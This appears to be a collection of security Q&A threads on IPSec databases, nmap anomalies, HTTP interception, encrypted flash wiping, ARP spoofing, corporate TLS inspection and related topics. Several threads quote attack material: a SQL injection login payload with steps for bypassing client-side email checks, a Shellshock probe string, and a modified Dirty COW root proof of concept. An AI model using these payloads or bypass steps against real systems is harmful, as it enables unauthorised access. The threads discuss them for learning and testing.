In IPSec what is the definition & purpose of SAD and SPD? What is a Security Application Database & Security Policy Database? What is their role in processing models for OUTBOUND and INBOUND packets?

Firstly, I am not sure what you mean by a "Security Application Database" I've never heard such a term and upon Googling the term I do not get any results which appear to reflect your understanding of the abbreviation, however, I digress.

SAD - Security Association Database

SDP - Security Policy Database

SA - Security Association

AH - Authentication Header

ESP - Encapsulating Security Payload

Security Association

Security Association (SA) is absolutely fundamental to understanding IPSec, in short, an SA is a relationship between two or more entities that describes how those entities will use security to communicate securely. Each IPSec connection can provide encryption, integrity and authenticity. Security Associations are the method that IPSec uses to track its concurrent sessions without this IPSec would fail.

The next section describes what a security association database will look like, it's important to remember that the IPSec peers must match on both sides else the connection will not work. SA parameters are configured by the network admin and then they are stored in the SA database. The following table below describes the parameters that an admin would configure.

Security Association Database

A Security Association Database is a table which contains all of the active Security Associations for inbound and outbound traffic, each entry will store the parameters for an individual SA. A SAD will usually store the following entries.

Security Parameter Index
Destination Address
Sequence Number
Anti-Replay Window
IP Security Protocol
Algorithm
Key
SA Lifetime
IPSec

Security Policy Database

The Security Policy Database contains rules which determine whether or not a packet is subject to IPSec processing. All traffic including inbound and outbound must be processed through this database, the first policy that matches will be used to process the traffic. Each policy has a policy index, the table starts from top-bottom with the top being the most preferred and bottom being the least preferred if however, a packet cannot find a suitable policy then a "NO-POLICY" status will be returned.

Each policy in the table has one or more policy contents and each policy content corresponds to an IPSec protocol either AH or ESP it cannot correspond to both! If a policy requires both then two separate policy contents must be used these policies will be linked using the next content pointer. In it's simplest form the SPD defines a subset of IP traffic and points that traffic to an SA.

For further reading on everything, you will ever need to know on IPSec I highly advise looking at the Wikipedia page and reading the relevant RFCs.


Why does NMAP scan list hosts as up? When running an NMAP scan of my internal network (192.168.1.0/24) from my Mac, NMAP sees all hosts as live.
It also believes there is a port 80 http service running on every IP when I do not have 254 hosts configured on my network.
Although oddly enough, telnetting to any IP on port 80 does respond with a connection, even if there is no host at that IP.
Could there be something on my Airport (Bridged) or the FIOS router (DHCP Server) which is answering for ALL IPs regardless of whether they are live or dead?

Here is some output:

Ping scan (-sP) output:
Xac124$ nmap -sP -v 192.168.1.0/24

Starting Nmap 6.25 ( http://nmap.org ) at 2014-11-03 14:37 EST
Initiating Ping Scan at 14:37
Scanning 256 hosts [2 ports/host]
Completed Ping Scan at 14:37, 1.33s elapsed (256 total hosts)
Initiating Parallel DNS resolution of 256 hosts. at 14:37
Completed Parallel DNS resolution of 256 hosts. at 14:37, 0.24s elapsed
Nmap scan report for 192.168.1.0
Host is up (0.0071s latency).
Nmap scan report for 192.168.1.1
Host is up (0.0092s latency).
Nmap scan report for 192.168.1.2
Host is up (0.0083s latency).
Nmap scan report for 192.168.1.3
Host is up (0.0076s latency).
Nmap scan report for 192.168.1.4
Host is up (0.0070s latency).
Nmap scan report for 192.168.1.5
Host is up (0.0062s latency).
(To IP .255)

On a -PT scan of the 192.168.1.0/24 network, it shows the following 3 ports (80, 3128, 8080) open for every IP on the network, including IPs where there are no hosts installed, for example:

Nmap scan report for 192.168.1.12
Host is up (0.00047s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
80/tcp   open  http
3128/tcp open  squid-http
8080/tcp open  http-proxy

Nmap scan report for 192.168.1.13
Host is up (0.00090s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
3128/tcp open  squid-http
8080/tcp open  http-proxy

Nmap scan report for 192.168.1.14
Host is up (0.00071s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
3128/tcp open  squid-http
8080/tcp open  http-proxy

(All the way to IP .255)

Yet, if I telnet over port 80 to any IP which does NOT have a host on it, I DO get a connection. But get nothing in return when typing in some test html commands:

Xac124$ telnet 192.168.1.241 80
Trying 192.168.1.241...
Connected to 192.168.1.241.
Escape character is '^]'.
GET / HTTP/1.1
HOST: 192.168.1.241

Connection closed by foreign host.

Does anyone have a clue as to what could be causing this behavior? Perhaps a setting on my FIOS (Actiontec) router?

Thanks. Other than using nmap built into the mac, I also was using Kali on a VirtualBox image which was experiencing the same issue.

I started to believe the issue was being caused by the Fios Actiontec router, but during my testing, I was playing with the Virutalbox network settings for the image. By setting the Kali VM to use bridge mode instead of NAT, Kali started working fine.
It still doesnt work using the Mac's nmap, but now that Kali is working, it doesnt matter.

Thanks for all the help!


How dangerous is plain HTTP? Usually I try to tell people not to input any data on websites that are not secured with HTTPS.

Given that most people are secured by Wifi access control.
How bad is it really?

What are possible attack scenarios?

How easy is it too intercept HTTP data?

For example a simple attack would be to abuse a common Wifi like in a coffee shop. However, if the data you are protecting is only a privacy issue that still requires a targeted attack and might be too contrived.

Edit:
I removed the mention of SSLSTRIP. Stripped connections will look like normal HTTP connections to the user. So if the users actually check that they have an HTTPS connection it will not work.

Usually I try to tell people not to input any data on websites that are not secured with HTTPS.

That's good advice.

  Given how efficient SSLSTRIP is and that most people are secured by Wifi access control. How bad is it really?

For people who follow the above advice, SSLSTRIP has no effect because they (should) notice that their browser is not using HTTPS.

  How easy is it too intercept HTTP data?

With a rogue access point it is very easy. With a rogue cable modem on the same network, it is possible but difficult. DSL is harder as the lines are dedicated.


Is it possible to retrieve flash-based encrypted disks content (SSD, cellphones, USB sticks, ...) after password wipe/replacement? I have crossed such assertions a few times on this site:

  One benefit of full-disk encryption is that it makes wiping the flash
  storage very fast.[...]

  To wipe the entire drive, all you have to do is wipe the spot that
  stores the encryption of K (which is just one block). Once that block
  is gone, there is no way to decrypt the data on the drive (since K
  cannot be recovered), so the entire drive is as good as wiped.

However, I also saw a lot that due to wear levelling, overwriting data on a flash-based disks was not reliable: as per my understanding if I apply the procedure above the flash may just select another area and put the overwriting data there, leaving the key block K still present and readable in the chip (and the Internet is full of various cheap a relatively easy methods to directly access chip content, here is a random one which does not even require to desolder them).

In case a poor password was used to protect the disk content (by tying together the unlock password which aimed to be quick to type and the encryption one, Android seems to really try to enforce such weakness), wouldn't this mean that the whole disk content can still be retrieved even when this block has been "wiped"?

As a bonus, if I change a weak password to a strong one, theoretically the key block will be "overwritten" by a new block where the data encryption key will be protected by my new, stronger password.

However, isn't there any chance that the old block with the same encryption key protected by the previous weaker password will still be present and readable for an undetermined amount of time in the chip content, allowing an attacker to void completely the password change benefits?

It is indeed possible that the block containing the key cannot be properly erased. That's why LUKS uses AFsplit to store the key on disk.

The idea is essentially to expand a key that would normally be stored on a single disk block, into a format that requires many more, ensuring that the loss of a single of those blocks makes the key lost. So when erasing the key, LUKS only needs to be able to overwrite one of those blocks.

The number of blocks is configurable so as long as it is large enough, being unable to erase all of them is unlikely.

You can read more about AFsplit in the LUKS on disk format specification, and see a sample python implementation (linked from a crypto.stackexchange question).


Bug Bounty Methodology for a Newbie Question: Once I join a bug bounty program and start hunting for bugs on a website, how do I efficiently start looking for bugs?

I am very familiar with common vulnerabilities (XSS, sql injection, etc), have read a few books such as the Tangled Web and the Hackers Handbook, and played a bit with platforms such as Web Goat and Damn Vulnerable Web App. But when it actually comes to me looking at the specified website, I just find myself browsing through random input field and source code without much guidance. I feel like this is a very inefficient use of time and I will be devoting effort to areas that are not very productive.

Do any of you have any good guides on how to quickly identify areas of interest without having to comb through the entire site? I have heard that scanners can be helpful but most of the obvious bugs revealed by scanners have already been fixed.

You should check this github repo: https://github.com/jhaddix/tbhm

  Welcome! This repo is a conglomeration of tips, tricks, tools, and data analysis to use while doing web application security assessments, and more specifically towards bug hunting in bug bounties.

Make sure to also check the video :)


What makes EACCES on Android? I know that this question is too abstract. So to make things more concrete, I'm examining on dirtycow(CVE-2016-5195). And especially for Android(6.0), I confirmed this PoC works and modified run-as.c to show whoami

char *whoami[]= { "/system/bin/whoami", 0 };
execve(whoami[0], whoami, 0);

, which shows root. But even if I modified the code to exec shell(/system/bin/sh). The code is rejected with EACCES. What is the missing point?! The SE Linux or the other Linux security policy I'm misunderstanding.

EACCES on Android means you don't have sufficient privileges to access whatever medium (internal storage or external storage)you are trying to access.This may arise even when you don't declare the right permissions in manifest file.


Cryptographically secure number generator for node.js I am looking for a cryptographically secure number generator for node.js. Afaik. Math.random() does not meet these requirements. Is there any nodejs lib which can generate cryptographically secure numbers?

You are correct that Math.random() is not secure. If you want a CSPRNG in Node.js, crypto.randomBytes() is what you're looking for.


Pentest for shellshock via url? I have been hit by probes in the past that were delivering a shell shock validation string x='() { :;}; echo vulnerable' via a URL / browser based method hitting public facing web services.

What is the best way to approach this kind of validation manually (say during a penetration test)?

Depends on your definition of manual, but if I was looking for this on a penetration test, I'd be using Nmap's http-shellshock script.


Why isn't Google oauth2 giving a refresh token for Client-side applications? I've been reading Google's oauth2 documentation for Client-side applications. I was surprised that nowhere does it mention refresh tokens. Also, their examples hint that the access_token has a default TTL of 3600 seconds. Clearly, I do not want my active users needing to relogin once every hour.

Question: Is there a reason why the Client-side oauth2 implementation doesn't support refresh tokens? Or, is this supported by Google but simply not documented?

The OAuth 2.0 specification prohibits the issuing of a refresh token to non-confidential clients. A client-side application is not considered a confidential client.


How do you perform SQL injection on a login form that checks for email address format? A recent employment test prompted me to perform an SQL injection to gain access into their website.

Using manual and automated (Burp) methods, I was able to find out the form is definitely vulnerable to SQL Injection attacks, but every time I tried to pass any payloads into the E-mail/username field

  (eg: admin' or '1'='1)

it kept saying "Invalid email format".

Anyone know how to get around this?
(I should mention the Company only allowed me to use manual methods and Burp, no other tools were allowed)

**Note: The website wasn't their main website, it was a web app created for the sole purpose of exploiting vulnerabilities. **

UPDATE: I'm still able to access the domain ( I thought they had taken it down after the test was over), but I won't be able to share the domain address because I'm unsure if it'll even be legal to publicize it. So, I'll add some screenshots of the issues.
this is the error and adding @something.com gives me the same output:

This is the intercepted request:

This is the error that's returned for certain inputs:

and this is the SQL injection vulnerability that Burp identified:

Since you're confident that the SQL vulnerability exists based on your Burp results, I'm going to assume that you got that error message from your web client.

Either your input has a type attribute set to email, either there's a JavaScript snippet which checks that your input matches an email address format.

The easiest way to bypass both of these checks is:

Open the network panel of your browser's development tools.
Submit the loin form with a valid email.
Search the request in the log, and perform a "Copy as cURL" command.
Open a terminal, paste your cURL command
Replace the valid email by your injection
Run the command!


xmpp ssl cipher negotiation Does anyone know how ssl ciphers are nogitiated via the xmpp protocol. When I capture packets, I see:

<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>

There is no hello server/client or cipher negotiation, like http. Can anyone point to somewhere I can get more information

As explained in RFC 3920 (section 5), a machine will send the "<starttls>" tag to indicate that it supports SSL/TLS, and then, when the final ">" of a subsequent "<proceed/>" XML element is sent and received, the underlying connection is immediately hijacked to begin a TLS handshake. The handshake consists in TLS messages (which are not XML at all), beginning with ClientHello (from the TLS "client") and then ServerHello (from the TLS "server") which includes cipher suite negotiation.

There is no method in XMPP to advertise specific TLS cipher suite support before the TLS handshake. From a packet capture view, you will see the ClientHello and ServerHello right after the "<proceed/>" tag, not where the "<starttls>" element occurs.

A consequence is that machines who use XMPP to talk to each other cannot know whether they will be able to find a TLS cipher suite that they both support before actually committing to TLS usage. It is not a big issue in practice, because SSL/TLS implementations support some fallback cipher suites which all implementations know of (RSA+RC4+SHA-1 and RSA+3DES+SHA-1, namely), even if they usually prefer some other cipher suites.


Microsoft Bitlocker - Using my own encryption/decryption key Is it possible for me to use my own encryption or decryption key and update it whenever is possible?

Thankfully no. The actual keys used to encrypt the data volume are randomly generated securely anyway. These keys are normally stored in the TPM and will be released when the TPM's integrity check is done on pre-boot components and settings. Note that the TPM key has nothing to do with the Windows user account and password (you can always add and remove Windows accounts and it would not affect Bitlocker).

It will become a security issue if the user could somehow access the keys in the TPM via a software interface (and in your case, change the encryption/decryption key). Luckily this is not possible, which leads us to trust the TPM as a hardware-based solution.

You may refer to the Bitlocker technical overview for more information. Notice that there are multiple keys at play, not just one key.

http://technet.microsoft.com/en-us/library/cc732774(v=ws.10).aspx

For Bitlocker To-Go (i.e. Bitlocker for removable drives), we don't want the removable drive to be tied to the TPM, since the drive should be readable on different machines. Therefore, you set the password of the Bitlocker drives which determines the key that encrypts the volume key. The reason why such a scheme is used is for the user to change his password easily without having to re-encrypt the entire data volume (i.e. just need to re-encrypt the volume key).


confused: computer security & software development career tracks I'm a recent computer science graduate.  I like computer security and want to be a security architect.

I googled it and saw that the start point is to be a system administrator, but system administration is not my dream job; I especially love to develop software.

Can I be a security architect if I start as a software developer?

Computer security is a very broad field, and software security is as least as important as hardware and infrastructure security.

When developing software, best practice is to design security in from the start and approximately 20% of total project cost many be spent on security.

To answer your question "can I be a security architect if i'm software developer?" definitely, in fact it is highly unlikely taht you would be employed for software security if you did not understand programming.

  i like computer security & wanna be security architect. I googled it &
  saw that the start point is to be system administrator.

This is certainly not the only starting point, a masters degree in computer security would be a great first step.


Hashing password longer than 14 characters in wpa_supplicant.conf My college has a WPA2 Enterprise network, which I can connect to on my Pi after configuring the network in wpa_supplicant.conf.

I don't want my Wi-Fi password stored in plain text, so I use echo -n $password | iconv -t utf16le | openssl md4 to hash it, and then store the MD4 hash instead of the plain text password in the file.

I wrote a Bash script that adds the config and hashes the password, which a lot of students have used to connect their Pis to the network. It's always worked, except for someone who has a password longer than 14 characters. That's great for security, but it causes problems with the MD4 hash algorithm.

wpa_passphrase won't work because it generates a PSK for a WPA-PSK network. My school's network is WPA-EAP, which requires a separate username and password, and is why I've been using NTLM password hashing instead.

Is there a way to hash passwords in the wpa_supplicant.conf file that are longer than 14 characters? I've tried hashing only the first 14 characters of the password, or an empty string, but neither of those work.

There is no sense in hashing the password when using md4 as a hashing algorithm.

The threat you are trying to defeat with hashing the password is either:

Someone getting physical access to the device and extracting the password from the file system.
Someone getting remote access and privilege escalation to root to be able to read the password.

Now, both of these threats can be expected to have access to reasonably recent hardware that can brute force through md4 as if it was plain text.

To help against

you could use full disk encryption to keep the password safe,
you should be considering that someone with remote root access already has access to the network (either because the connection comes out of that network or because the device in their control is already connected to the network).

As it is generally preferred for several reasons to pivot through an already compromised host rather than connecting the attacker machine to the network itself, there is not much gain for the attacker in compromising the WPA password from the configuration - and if there was, md4 would not - as addressed earlier - hinder an attacker sufficiently.


How to make an image shown only on a particular domain Is there is a secure way that makes an image allowed to display within a particular domain, and preventing it to be shown on any other website?

There is the notion of a HTTP "referer" (originally a misspelling of "referrer") which your browser will send when requesting pages and assets (images, stylesheets etc). Some security products scrub this though (as a privacy risk) so if you're not willing to accept some false positives (users unable to see the images who should) then this would be a bad solution.

You could set it so the images are not revealed if the referring page is not your website/domain and can either do it:

On the web-server if it supports it like using .htaccess permissions on Apache

Or

You can have your images link to a script which will display the correct image if the referrer matches but send a different file if not (i.e. yoursite.com/showimage.php?image=holiday.jpg ) for instance, which would check the referrer in code and decide whether or not to show the image, see $_SERVER['HTTP_REFERER']; for PHP.

The HTTP REFERER is set by the user so can easily be forged so is not a good security mechanism for a determined attacker at all.. but should serve a useful purpose for most non-technical users where it is only your bandwidth you are trying to protect.

You can see what headers are set by your browser by clicking on this link which should show that you were directed to it via this site.


Use same PGP key for private and business mail addresses I'm asking myself which one is better:

Use the same PGP key pair for use with both private email addresses and business email addresses
Use two separate PGP key pairs, one for private and one for business email addresses

From a cryptographic standpoint there should be no difference (assuming that I keep my private key safe). But is there any kind of best practice? I'm a little bit concerned about questions like meta data privacy, traceability and so one...

Using the same key for both makes every business partner I send an signed email know my private mail addresses.

I use separate keys for the following reasons:

1) So my work/email is not exposed unnecessarily (not just to legit recipients but suppose a recipient's computer is compromised then you've made yourself a nice social engineering target for the bad actor since they may now have your personal and work email and possibly more if this was a work-sourced email then title and phones if in your signature)
2) So I can have different expirations
3) If I change jobs I don't have to update my home key

You would obviously also be able to have keys of differing types and sizes if that matters.

Hopefully that helps.


How can one securely hash passwords server side while avoiding DoS? It is generally recommended that one use a slow hash function to hash passwords. However, does this create a DoS risk?

You could, in addition to using a slow hash function, limit the number of requests per second a particular user could send. For instance, if you're getting 30 failed login requests from a particular IP address, then you could delay the responses to that address, or drop them all together.

Slowing hash functions is designed to make it impractical to carry out a brute force attack if an attacker gets access to the password database. There should still be precautions built into the server as well.


"Hello World" example of a Buffer Overflow attack in many programming languages I'm looking for a very simple application that has an intentional Buffer Overflow embedded in it.  I'm assuming this possible in systems where DEP and ASLR are not being used

Ideally (and if possible) I'd like to demonstrate this in unmanaged and managed runtimes.  Since managed run times like .NET or Java aren't intended to ever overflow, I suppose it would be OK for the .NET to use unsafe code (and the equivalent in Java)

No such things exists on a modern system. 10 years ago I would have said one of the samples used in Smashing the Stack for fun and profit (probably example2.c).  But today buffer overflows are very complex and no two exploits are the same.  Buffer overflows are no longer the tool of choice for criminals.


How to fight specific spam message pretending to be from my company? (Okay, not my company, but a buddy works there and they are at a loss on what to do, so same premises of the question)

So over the last few days I received a couple of spam messages, pretending to be from well known company, offering a year of free shopping in their stores. spammers aren't even trying very hard to create cover-up From: addresses (chimelu@bogard.bc13.rayne.okstopandgoraffic.top for example), but the company feels it is hurting their image and want to put a stop to it. I've reported the messages repeatedly through SpamCop, but is there a way to fight the root of the problem?

Note that this is not one of the many questions about how to keep my inbox/spambox clean, it is a question about how to safeguard the company's image.

EDIT 21/09/2016 08:54:
What if this company was willing to spend some serious money on court cases and lawyers etc. How would one go about on finding the people responsible for sending the spam? I imagine they are hard to find, but not impossible. Are there companies that specialise in this or something?

There's close to nothing you can do about it.

Sending email is pretty much like sending regular email. What stops you from printing an envelope pretending it's from Apple, put a message inside telling the receiver that if he takes the enclosed flier to any Apple Store, he will be given a free iPhone 7? Nothing, right? Email is just the same.

You can report the message and the IP address, and the spammer will just switch networks and keep spamming. You can send legitimate email messages to all your users, informing them about the spam, and the users will happily ignore the mail, and ask about the free shopping.


Trying to create safe website where security is handled by the website and not the user I work with civil rights for children and youth and am trying to create a website for LGBT youth and children and their families. The website needs to be safe as it is still very dangerous in many countries to admit to being gay (or LGBTQ).

I have a series of short children's films that I would like to make accessible for free on a website but the youth, families and teachers who access the site need to be untraceable.

Can I make a website where the security lies within the website?
People and kids coming to the site will not be setting up their own security measures to not be traced.

Don't do it

If you are targeting unsafe regimes, the consequences can be severe. For example, in Iran, condemned homosexuals are usually sentenced to death by hanging.

It would only take the slightest lapse on the part of your site, or one of your users for this to be incriminating evidence. Can you imagine the guilt you would feel that your well-intentioned site ended up being evidence that led to an execution?

To operate online subversively in a repressive regime takes extreme skill and caution. Simply using Tor would be a red flag in itself. While hacker groups like anonymous may be able to get away with this, normal users cannot.

There have been comments on other answers saying (roughly) "use HTTPS, it's fine". I cannot stress strongly enough how that is dangerous advice. HTTPS reveals the domain name the user is accessing, it leaves trace on the client computer, and it's likely that nation-states (including Iran) can produce fake certificates and intercept all HTTPS traffic.


What's the risk from enabling ptrace in docker? Solutions for various problems (e.g., here and here) suggest enabling SYS_PTRACE when running a container that, say, needs to run a debugger or a fuzzer. Given that the capability isn't enabled by default, there must be some security implications of granting it -- the official documentation gives a vague "could leak a lot of information on the host". Presumably this means it could allow information about the host to be leaked to the runtime environment of the container -- but what information?  Are there any other security implications?

There's some good detail on this topic, in this whitepaper.

Essentially the problem is that allowing ptrace will allow the contained process to bypass any seccomp filter in place, allowing dangerous syscalls to be made.  To quote the document

CAP_SYS_PTRACE: The ability to useptrace(2)and recently introduced cross memory
attach syscalls such as process_vm_readv(2)andprocess_vm_writev(2).

If this capability is granted and the ptrace(2) syscall itself is not blocked by a seccomp
filter(as discussed more in Section 8.3 on page74),
this will allow an attacker to bypass other seccomp restrictions.

Update - As mentioned below in comments from @forest the above only applies to versions of the kernel before 4.8, so modern Linuxes (possibly excepting RHEL/CENTOS 7 and earlier which are still around) shouldn't have this problem.


Does ARP spoofing work on *all* LANs? I understand how ARP spoofing works on a switched network: attacker tells the router he's the victim, then tells the victim he's the router. My question is: on large networks, like corporate and university networks, is it still as simple? I would assume there would be more than one router etc... what kind of measures can corporate-level networks take to protect themselves from ARP spoofing attacks?

It depends on the class of the switch, for example:

Wifi routers and home routers have LAN Isolation, however this one is usually disabled by default
Layer 2/3 campus class switches usually have ARP filtering, but if it's not enabled than you can spoof MAC or IP address from different VLAN (you can use same MAC or different one for any IP address). The one I mean here is the one implemented at the Layer 3 gateway.
Some new campus like switches (as of 2016) have LAN Isolation built-in as well, however it's not enabled by default, which helps with ARP spoofing
Some networks require IEEE 802.1X authentication to connect to the port, usually corporate equipment must be used and not private one. This is very often preventing ARP spoofing but not always, depends on how it is used, sometimes it's easy to defeat.
Some networks have MAC learning and do not allow spoofing (e.g. allow only specific MAC on single port), this is quite rare but existent. So this works by monitoring the switches and blocking attackers.
Some networks might require you to supply you MAC which is configured for the port, and this way it can also prevent from sending malicious ARP requests / responses
Depending on switch vendor there might be other features helping with ARP spoofing, usually at Layer 2 switch like Dynamic ARP Inspection.
It is quite easy to make switch policy so that each customer port can exchange packets only with router port without need of LAN Isolation feature, however not many people do it


HTTPS icon red and crossed out - Chrome browser What does it actually mean when the HTTPS icon is red and crossed out in Chrome?

Does this mean that the site is vulnerable to a Man in the Middle Attack? Is it safe or not?

When the https portion of the URL in Chrome has a red line through it, there is a problem with the security of the site you are going to.  To see exactly what the problem is, you need to click on the padlock and see the detailed connection info.

Detailed connection info is documented here.

If you see , then you've established a secure connection with a trusted site, and do not need to worry about MITM attacks.

If you see , then the connection is unencrypted, and subject to MITM attacks.

If you see  or , then either the connection is only partially encrypted or it's encrypted with a party that's not trusted (e.g., a self signed cert, name mismatch, or imposter).  In these cases you may be subject to a MITM attack.

With these last two, the level of exposure varies.  It might be that the remote site is properly encrypted, but just happens to have a few "IMG SRC=http://..." tags that cause mixed content.  That "mixed content" can be sniffed on the network.  Or, it might be that you've gone to an impostor site "gooogle.com" instead of "google.com", and everything you send is encrypted but going to a malicious attacker.  Or anywhere in between.  The rule of thumb is, essentially, unless you understand why it's red, you shouldn't trust it.


OpenSSL - how to renew certificates in production? Have a number of private network services deployed on different nodes outside of optionally encrypted mesh systems, like Docker or Consul.

The services have high value and should communicate via TLS only, currently using OpenSSL.

Once the certificates are about to expire in production environment, should they be renewed manually by sys-admin or it may be automated somehow?

Is it secure to use cron tasks for this?

Certificate renewal can be automated as long as entire procedure (workflow) is well defined, transparent and approved within your company (by security team). You can use scheduled tasks (cron, in your case) to

track existing certificate validity
Once the certificate is about to expire (passed 80% of lifetime, for example), generate new CSR on target system
Submit CSR to CA server
Retrieve issued certificate
Bind new certificate and associated key pair in applications (web server).

When the whole process is secure (that is, keys are generated on target system and do not leave it, CSRs are validated/reviewed and authenticated on CA server and so on) I don't see why it can't be automated.


Poor result on securityheaders.io for google.com I have just tested google on securityheaders.io and the result was D.

Google is actually not setting following security headers

Content-Security-Policy
X-Content-Type-Options
Referrer-Policy

I always considered Google as leader in many security areas. The above headers are part of usual defence in depth practice.

Could anybody provide some rationale behind this? Why google is not implementing them?

Defining a good Content-Security-Policy for an existing complex application is often non-trivial.  It's safe to say that efforts are underway to deploy CSP at Google, but imagine the cost of potential breakages on such a site.  Also keep in mind that some users would not benefit from a CSP, due to using older browsers, so other defenses must still exist.

Referrer-policy is actually undesirable on a search engine.  Many web site operators use the referrer to determine what keywords were used to access their site, which helps optimize their site content and better understand their userbase to generate more relevant content.

X-Content-Type-Options is not used for most browsers, and even when it is, it only matters if an attacker can control a significant part of the beginning of the response.

I understand the principles of defense in depth, but obviously security doesn't exist in a vacuum and has to consider operational and business aspects.  As @LvB pointed out, security headers on a search page are very different from properties with higher sensitivities, such as accounts.google.com and mail.google.com, both of which score an A.

(All of this is just speculation and I don't know what the official answer is.)


Why is it difficult to break RSA? Given that an attacker only knows the public key and cipher text, why is it difficult to decrpyt the message ? If the knows the N value will he be able to decrypt it ?

The short answer is that nobody knows how to compute the inverse RSA (the "decryption") without knowing the prime factors of the modulus N; and nobody knows how to efficiently recover these prime factors from N alone. The private key, then, is knowledge of the prime factors: whoever generated the key pair produced the factors first, then multiplied them together to get N.

Knowing N (the public key) does not allow decryption; that's the whole point of the public key being, yeah, public: revealing it does not give away decryption power.

The long answer, when we get down to it, is: we don't know. There is no positive reason which explains why RSA decryption is hard without knowing the private key. We have no mathematical proof that factoring N is a real prerequisite for RSA decryption; it is just that we don't know how to decrypt RSA without knowing the prime factors (either a priori, or easily obtained from the private key). We have no proof either that factoring is hard; but 2500 years of research have not come up with a really efficient factoring algorithm.


For a computer client, is physical security the most important measure? Is being online all the time the root of all evil, when it comes down to private computer clients security?

Would a not-always-connected-to-the-internet system, solve most of our problems?

In a concrete situation, I'd have a net computer (maybe booting from a Live CD) and a work computer (without internet). Both systems would be able to mount a common file system to interchange information, which would be encrypted. Excluding an evil BIOS, there is not much I can imagine that makes this computer vulnerable.

Being online at any time is the problem, not being online most of the time - though that does, of course, increase the risk. Try putting a brand new computer online for the first time without the benefit of the firewall in your router. It takes no more than 30 seconds to start seeing automated hacking attempts to commonly used ports.

The only way to be safe is to have a never connected system. This is known as an "air gap". However, even this isn't that safe as the US Airforce found out when some of their UAV systems got infected after someone had opened an infected file. They were not ever connected to the Internet. Of course, in that case no damage occurred other than embarrassment and the time/energy required to cleanse all the PC's. But a targeted attack might have caused serious damage.

In your example, your supposed safe computer is actually very vulnerable (though not as vulnerable as the connected PC of course) due to you exchanging information with it from the online PC. To reduce this vulnerability, you would need to ensure that any data you passed from one to the other was carefully cleansed of any possible infection. The use of a Live CD would be sensible and would limit any infection of the connected PC. But you would not want to use a network file system to connect unless you had good protection of the network & even using USB would require very good anti-malware on the unconnected PC.

Then you have added a massive overhead to your computing environment so you would need to ask yourself if it was worth it. You would need to be working on very sensitive information, working on high-risk web sites, or be at high risk of attack to warrant that kind of overhead I would think.


packet sniffers and segments Just curious why most packet sniffers are limited to their segment?  is it the nature of a gateway to block the attempt outside a subnet?

cheers

If I understand what your asking correctly. Then the limitations are not imposed by the sniffer itself, but are limited by what it can see physically going past on the wire.

What you'll be able to sniff is mainly limited by the placement of your sniffer and the type of network you are on. For example on a network using a Hub you'll be able to see all the traffic being sent to every machine connected to that hub, but on a switched network most likely you'll only be able to see the traffic that is destined for you.


Forced to install certificate on my laptop when using company WiFi. Risk? My company has a 'bring your own device' policy. You connect your device to the WiFi, and then open a citrix environment through a web portal. Basically, everything inside the citrix env is company-software/email. Outside is your own software/mail/browser.

I know that anything I do online outside of the citrix environment still transfers over company WiFi with the possibility that it is inspected.

Very recently however, the connection to the internet outside the citrix environment ceased to work, I assume by design, since now I get a pop-up asking me to install a certificate that is clearly issued by the company. This should restore internet connection.

My questions:

Will this give them any additional ways to monitor my machine over the old situation?

Will they for example be able to inspect end-to-end encrypted messages?

Is it a good idea to accept this kind of a certificate given the fact that I am a contractor and work for multiple clients?

Additional point to consider:
Some of our developments require work/testing outside of this citrix environment, due to shortcomings of the VM. Still, there is no need or possibility to connect to any company resource (network shares etc...) from outside the VM.

EDIT
My question is specifically what kind of (additional) negative consequences this certificate will/might have, versus before, when we could access internet without any certificate installed. Therefor I think this question is different from Can my employer see what I do on the internet when I am connected to the company network?

EDIT
Example: this happens when opening outlook.

In your use-case, there are many missing variables such as: what are they enforcing today? if your machine is domain-joined, are you able to work remotely and whether that is permitted by the company.
But in any case allow me to try and explain their side of things and than summarize the impact it may have on you:

Why they have requested you to install a certificate

Even in an BYOD model (or especially in BYOD model), the organization would need to validate that your machine is able to:

Access the internal services provided by the organization
Access to the VPN services from external locations

Assuming that they are publishing the internal "corporate" environment through Wi-Fi, it would be in their interest to validate that only authorized machines have access to the network. while user/password may work for authentication, it exposes them to brute-force attacks which are highly reduced while installing a non-exportable certificate.

Furthermore, some organizations that choose BYOD model still want to enforce some restrictions on machines (e.g. installation of an AV, machine compliance etc.) and if a machine is able to access the network without a certificate, there is no guarantee an employee will go, buy a new machine or have another machine from home that might be infected and connect it to the network with a user/password.

Also, in terms of MITM for internet browsing, as your machine may hold highly sensitive company data (as you noted not everything is made through citrix) they may want to validate no sensitive data is being sent using a Data Leak Prevention mechanism or validate no malware is downloaded to your machine.

  Will this give them any additional ways to monitor my machine over the old situation?

Yes. In case you are surfing through the company proxy, they will be able to intercept HTTPS sessions and inspect them. The difference is that for you the session will still look "secure" (the lock icon in your chrome).

You are still able to know if they have intercepted your traffic or not by clicking on the lock and seeing the certificate chain

  Will they for example be able to inspect end-to-end encrypted messages?

Depending you what you call "end-to-end" if you encrypt a file on your machine, and then send it away they will not be able to see the encrypted content. same applies to any GPG signed content or binaries.

  Is it a good idea to accept this kind of a certificate given the fact that I am a contractor and work for multiple clients?

I'm not sure how many options you have, but I would argue it's not a big deal as long as you spend your time with that customer doing only what they are asking of you, and making sure you don't surf the internet through their proxy while not working on their projects.

My suggestion would be to ask for some elaboration on the reasoning for the request and what they are aiming to achieve. In all countries under the EU, several states in the US (CA in example) and other countries around the globe this could fall under your right for privacy and they need to elaborate what is the business need for you to install the certificate.


Are documented networks easier to attack? Are undocumented networks easier to protect? I am learning about network documentation for the first time and have come across the following statement:

  Undocumented networks might not be protected and can be used to support insider attacks.

According to this website, network documentation is a way of representing the organisation of your network.
Why then might an undocumented network be unprotected and more susceptible to insider attacks?
I would have thought that, since a documented network represents the organisation of the network, it would be easier to attack a documented network.

I would appreciate help understanding the statement above.

If your network is undocumented, then you don't know what all the parts are, how they are set up, or how they interoperate. That in turn means you can't reliably do any of these crucial things:

do a full risk assessment
identify required controls
implement those controls fully
measure the controls to confirm they are working
monitor the network so you can detect attacks

Let's do an example. Opening ISO 27002:2013 at random, we find 12.4.3, "System administrator and operator activities should be logged and the logs protected and regularly reviewed".

If you don't have the network documented, you may have appliances in operation that you don't know about. So you have no way of knowing if they have logs that need monitoring, you have no way of reviewing those logs, no way of auditing that you are reviewing the logs, etc. etc.


PAP and CHAP implementation using Java I want to implement PAP and CHAP based authentication in my Java project how can I implement ? is there any API available in Java for using that protocol ?

